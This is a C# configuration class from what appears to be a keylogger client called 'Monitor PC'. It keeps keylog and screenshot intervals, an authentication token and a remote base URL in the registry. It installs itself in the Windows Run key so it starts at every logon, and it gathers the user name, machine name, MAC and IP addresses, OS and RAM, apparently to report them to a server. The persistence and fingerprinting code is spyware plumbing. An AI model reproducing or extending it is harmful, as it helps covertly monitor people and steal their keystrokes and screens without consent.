﻿using System;
using System.Management;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using Microsoft.Win32;

namespace klg_client.library
{
    public class ConfigMgr
    {
        #region [    Constants    ]

        private const string HiveUsers = @"HKEY_CURRENT_USER\";
        private const string AppName = "Monitor PC"; 
        private const string RegConfig = @"Software\" + AppName + @"\v1.0\config";
        private const string RegStartup = @"Software\Microsoft\Windows\CurrentVersion\Run";
        
        #endregion

        #region [    Singleton stuff    ]

        private static ConfigMgr _instance;

        public static ConfigMgr Instance
        {
            get { return _instance ?? (_instance = new ConfigMgr()); }
        }
 
        #endregion

        #region [    Configuration properties    ]

        private object GetRegistryValue(string configKey, object defvalue)
        {
            return Registry.GetValue(HiveUsers + RegConfig, configKey, defvalue) ?? defvalue;
        }

        private void SetRegistryValue(string configKey, object value)
        {
            Registry.SetValue(HiveUsers + RegConfig, configKey, value);
        }

        public void RemoveFullConfiguration()
        {
            using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software", true))
            {
                if (key != null)
                {
                    key.DeleteSubKeyTree(AppName);
                }
            }
        }

        public int PingInterval
        {
            get { return (int)GetRegistryValue("PingInterval", 1); }
            set { SetRegistryValue("PingInterval", value); }
        }

        public int ScreenshotInterval
        {
            get { return (int)GetRegistryValue("ScreenshotInterval", 0); }
            set { SetRegistryValue("ScreenshotInterval", value); }
        }

        public int KeylogInterval
        {
            get { return (int)GetRegistryValue("KeylogInterval", 0); }
            set { SetRegistryValue("KeylogInterval", value); }
        }

        public string AuthenticationToken
        {
            get { return (string)GetRegistryValue("AuthenticationToken", ""); }
            set { SetRegistryValue("AuthenticationToken", value); }
        }

        public string BaseUrl
        {
            get
            {
                var keyValue = ((string) GetRegistryValue("BaseUrl", ""));
                return keyValue.EndsWith("/")?keyValue.Substring(0, keyValue.Length-1):keyValue;
            }
            set { SetRegistryValue("BaseUrl", value); }
        }

        public int AreaCode
        {
            get { return (int)GetRegistryValue("AreaCode", 0); }
            set { SetRegistryValue("AreaCode", value); }
        }


        #endregion

        #region [    Install & Uninstall Startup code    ]

        public bool IsInstalledLocalStartup(string exepath)
        {
            var value = (string)Registry.GetValue(HiveUsers + RegStartup, AppName, "");
            exepath = exepath.Replace("\"", "");
            value = value.Replace("\"", "");
            return exepath == value;
        }

        public void InstallLocalStartup(string exepath)
        {
            using (RegistryKey key = Registry.CurrentUser.OpenSubKey(RegStartup, true))
            {
                if (key != null)
                {
                    key.SetValue(AppName, "\"" + exepath + "\"");
                }
            }
        }

        public void UnInstallLocalStartup()
        {
            using (RegistryKey key = Registry.CurrentUser.OpenSubKey(RegStartup, true))
            {
                if (key != null)
                {
                    key.DeleteValue(AppName);
                }
            }
        }

        #endregion

        #region [    PC & OS information    ]

        public string GetScreeResolution()
        {
            var screenWidth = Screen.PrimaryScreen.Bounds.Width;
            var screenHeight = Screen.PrimaryScreen.Bounds.Height;
            return string.Format("{0}x{1}", screenWidth, screenHeight);
        }

        public string GetLoggedUser()
        {
            //return System.Security.Principal.WindowsIdentity.GetCurrent().Name;
            return Environment.UserName;
        }

        public string GetPCName()
        {
            return Environment.MachineName;
        }

        public string GetMACAddress()
        {
            NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
            String macAddress = string.Empty;
            foreach (NetworkInterface adapter in nics)
            {
                // iterate only on devices that are operating 
                if (adapter.OperationalStatus == OperationalStatus.Up)
                {
                    macAddress = adapter.GetPhysicalAddress().ToString();
                    break;
                }
            } 
            return macAddress;
        }

        public string GetIPAddress()
        {
            NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
            String ipAddress = string.Empty;
            foreach (NetworkInterface adapter in nics)
            {
                // iterate only on devices that are operating 
                if (adapter.OperationalStatus == OperationalStatus.Up)
                {
                    var addresses = adapter.GetIPProperties().UnicastAddresses;
                    foreach (var address in addresses)
                    {
                        // determine if it's IPv4 instead of IPv6
                        if (address.Address.AddressFamily == AddressFamily.InterNetwork)
                        {
                            ipAddress = address.Address.ToString();
                            break;
                        }
                    }
                    // if previous foreach found something then just go away
                    if (!string.IsNullOrEmpty(ipAddress))
                        break;
                }
            }
            return ipAddress;
        }

        public string GetOSName()
        {
            string result = string.Empty;
            ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem");
            foreach (ManagementObject os in searcher.Get())
            {
                result = os["Caption"].ToString();
                break;
            }
            return result;
        }

        public string GetAmountRAM()
        {
            MemoryStatusEx memStatus = new MemoryStatusEx();
            if (GlobalMemoryStatusEx(memStatus))
            {
                var totalbytes = memStatus.ullTotalPhys;
                var totalK = totalbytes / 1024;
                var totalM = totalK / 1024;
                var totalG  = totalM / 1024.0;

                if (totalG > 1)
                    return string.Format("{0:##.##} GB", totalG);
                return totalM + " MB";
            }

            return "Unknown";
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
        private class MemoryStatusEx
        {
            public uint dwLength;
            public uint dwMemoryLoad;
            public ulong ullTotalPhys;
            public ulong ullAvailPhys;
            public ulong ullTotalPageFile;
            public ulong ullAvailPageFile;
            public ulong ullTotalVirtual;
            public ulong ullAvailVirtual;
            public ulong ullAvailExtendedVirtual;
            public MemoryStatusEx()
            {
                this.dwLength = (uint)Marshal.SizeOf(typeof(MemoryStatusEx));
            }
        }


        [return: MarshalAs(UnmanagedType.Bool)]
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        static extern bool GlobalMemoryStatusEx([In, Out] MemoryStatusEx lpBuffer);

        #endregion
    }
}
